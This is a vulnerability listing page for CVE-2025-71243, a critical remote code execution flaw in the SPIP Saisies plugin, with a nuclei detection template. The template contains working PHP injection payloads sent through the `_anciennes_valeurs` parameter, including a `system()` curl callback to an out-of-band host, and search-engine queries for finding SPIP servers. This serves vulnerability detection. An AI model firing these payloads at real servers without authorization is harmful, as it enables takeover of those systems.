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CVE-2025-71243· spip / saisies· CWE-94

SPIP Saisies - Remote Code Execution

criticalseverity
9.8CVSS score
5.6%likelihood of exploitation, next 30 days
93%of all CVEs are less likely
Readycheck to confirm it

SPIP Saisies plugin 5.4.0 through 5.11.0 contains a remote code execution caused by an unspecified flaw, letting attackers execute arbitrary code on the server, exploit requires no special conditions.

Impact

Attackers can execute arbitrary code on the server, potentially leading to full system compromise.

Fix

Update to version 5.11.1 or later.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains(header, "Composed-By: SPIP") or contains(header, "X-Spip-Cache:")
Send: GET {{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(rce_payload)}}
Positive when: contains(body, "{{md5(randstr)}}") and status_code == 200
Send: GET {{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_payload)}}
Positive when: contains(interactsh_protocol, "dns") and status_code == 200
Send: GET {{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_curl)}}
Positive when: contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-71243 -u <target>

The full check
id: CVE-2025-71243

info:
  name: SPIP Saisies - Remote Code Execution
  author: omarkurt
  severity: critical
  description: |
    SPIP Saisies plugin 5.4.0 through 5.11.0 contains a remote code execution caused by an unspecified flaw, letting attackers execute arbitrary code on the server, exploit requires no special conditions.
  remediation: |
    Update to version 5.11.1 or later.
  impact:
    Attackers can execute arbitrary code on the server, potentially leading to full system compromise.
  reference:
    - https://vulnerability.circl.lu/vuln/cve-2025-71243
    - https://chocapikk.com/posts/2026/spip-saisies-rce/
    - https://github.com/Chocapikk/CVE-2025-71243
    - https://vulnerabletarget.com/VT-2025-71243
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-71243
    epss-score: 0.05595
    epss-percentile: 0.92968
    cwe-id: CWE-94
  metadata:
    verified: true
    max-request: 3
    vendor: spip
    product: saisies
    shodan-query: 'http.html:"SPIP"'
    fofa-query: 'app="SPIP"'
  tags: cve,cve2025,spip,rce,oast,vkev

variables:
  rce_payload: "x'/><?php echo md5('{{randstr}}'); ?><input value='x"
  oob_payload: "x'/><?php gethostbyname('{{interactsh-url}}'); ?><input value='x"
  oob_curl: "x'/><?php system('curl+-s+{{interactsh-url}}'); ?><input value='x"

flow: http(1) && (http(2) || http(3) || http(4))

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(header, "Composed-By: SPIP")'
          - 'contains(header, "X-Spip-Cache:")'
        condition: or
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(rce_payload)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "{{md5(randstr)}}")'
          - 'status_code == 200'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_payload)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and

  - method: GET
    path:
      - "{{BaseURL}}/spip.php?page=contact&_anciennes_valeurs={{url_encode(oob_curl)}}"

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http") || contains(interactsh_protocol, "dns")'
          - 'status_code == 200'
        condition: and

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